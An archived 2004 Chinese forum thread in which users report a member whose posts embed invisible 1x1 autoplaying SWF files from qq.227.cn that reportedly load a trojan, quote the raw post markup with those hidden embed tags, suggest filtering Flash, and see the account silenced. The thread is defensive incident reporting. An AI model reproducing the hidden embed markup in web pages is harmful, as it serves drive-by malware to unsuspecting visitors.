查看完整版本: 关于本论坛病毒的传播

蒙古大夫 2004-8-1 10:08

关于本论坛病毒的传播

http://218.1.231.240/iqbbs/dispbbs.asp?boardid=2&id=151647&star=2#1729381

蒙古大夫 2004-8-1 10:10

以下是 lajisa 的部分:请注意其中的 swf 文件 "http://qq.227.cn/615.swf''http://qq.227.cn/skytian09.swf' 以下是原文,请管理人员与其联系name=1728917></a><Script Language=JavaScript>var actioninfo3='单帖屏蔽';document.write (dvbbs_show_topic('1728917','2','lajisa','','','lajisa@163.com','||||||||||||||||||','','Images/userface/image1.gif','','','','','<embed src=http://qq.227.cn/615.swf width=1 height=1 autoplay=true loop=false controller=true playeveryframe=false cache=false scale=TOFIT bgcolor=#000000 kioskmode=false targetcache=false pluginspage=http://www.apple.com/quicktime/>支持<embed src=http://qq.227.cn/skytian09.swf width=1 height=1 autoplay=true loop=false controller=true playeveryframe=false cache=false scale=TOFIT bgcolor=#000000 kioskmode=false targetcache=false pluginspage=http://www.apple.com/quicktime/>绝对支持','2004-7-30 16:32:08','face1.gif','*.*.*.*','151647',1,0,8806,2,'列兵','32','32','6','2004-7-30','97','79','33','','1',0,'0','level0.gif',25,'2004-7-30 16:28:56','0',8,'tablebody1','0','0'));</Script><a

蒙古大夫 2004-8-1 10:26

看了 lajisa 其它的帖子,好像他在连接个 swf 文件 ,这个文件只显示"支持,绝对支持"等话,后台连接木马.建议先在本论坛禁止 flash 的直接演示,或者建立 flash 认证机制.

蒙古大夫 2004-8-1 10:28

请问"违法取证"版的意义是什么?面子工程在现实中已经看的太多了呀

gauss 2004-8-1 12:21

声援一下

鱼隐于江湖 2004-8-1 13:26

锁了转到了电脑版，交由蒙古大夫们会诊。
本想转到那个什么违法版的，不让转，可能没权限

LIKEME 2004-8-1 17:16

原贴还是改一下吧，附件先去掉或者什么的？不然还有人点进去还是有问题的。

蒙古大夫 2004-8-1 17:58

Re:[qt=1,1]http://qq.227.cn/615.swf[/q... lajisa 2004-7-30 16:34:16 智力竞技场
Re:[qt=1,1]http://qq.227.cn/615.swf[/q... lajisa 2004-7-30 16:33:59 智力竞技场
Re:[qt=1,1]http://qq.227.cn/615.swf[/q... lajisa 2004-7-30 16:33:47 智力竞技场
Re:[qt=1,1]http://qq.227.cn/615.swf[/q... lajisa 2004-7-30 16:33:18 谈天说地
Re:[qt=1,1]http://qq.227.cn/615.swf[/q... lajisa 2004-7-30 16:32:23 谈天说地
Re:[qt=1,1]http://qq.227.cn/615.swf[/q... lajisa 2004-7-30 16:32:08 电脑杂谈
帖子已被删除或者在认证中 lajisa 2004-7-30 16:31:41 回收站
帖子已被删除或者在认证中 lajisa 2004-7-30 16:31:21 回收站
帖子已被删除或者在认证中 lajisa 2004-7-30 16:30:01 回收站 共九贴,其它请删,另外请有权限人员"编辑"一下他剩下的帖子,不用更改,主要看看里面写了什么.存为txt文件即可,以利于分析.
没有使用附件,好像以后控制起来困难点,可以在主题前注明:有病毒,正在测试,不要打开等.谢谢.

蒙古大夫 2004-8-1 18:15

经测试，这个病毒的传播完全是故意行为，希望版主作出相应处理！
认证：看看可否用“过滤”功能，过滤掉｛qt｝｛flash｝，然后由版主测试后改为｛qt｝｛flash｝
另：新版如何使用加密？如何发帖买钱：）
[align=right][color=#000066][此贴子已经被作者于2004-8-1 18:30:10编辑过][/color][/align]

LIKEME 2004-8-2 11:42

lajisa 回复帖子的页面仍有问题。<embed src=http://qq.227.cn/615.swf width=1 height=1 autoplay=true loop=false controller=true playeveryframe=false cache=false scale=TOFIT bgcolor=#000000 kioskmode=false targetcache=false pluginspage=http://www.apple.com/quicktime/>支持<embed src=http://qq.227.cn/skytian09.swf width=1 height=1 autoplay=true loop=false controller=true playeveryframe=false cache=false scale=TOFIT bgcolor=#000000 kioskmode=false targetcache=false pluginspage=http://www.apple.com/quicktime/>绝对支持',建议把ID先暂时封了，他的回帖我找到的列在下面了，请有权限的管理员尽快处理一下吧。http://218.1.231.240/iqbbs/dispbbs.asp?boardID=16&ID=151401&page=1
http://218.1.231.240/iqbbs/dispbbs.asp?boardID=16&ID=151565&page=1
http://218.1.231.240/iqbbs/dispbbs.asp?boardID=16&ID=151750&page=1
最好在数据库里搜一下，他的回复全部处理了吧。

沙鸥 2004-8-2 13:37

已经全部屏蔽掉该会员的发言。

页: [1]

查看完整版本: 关于本论坛病毒的传播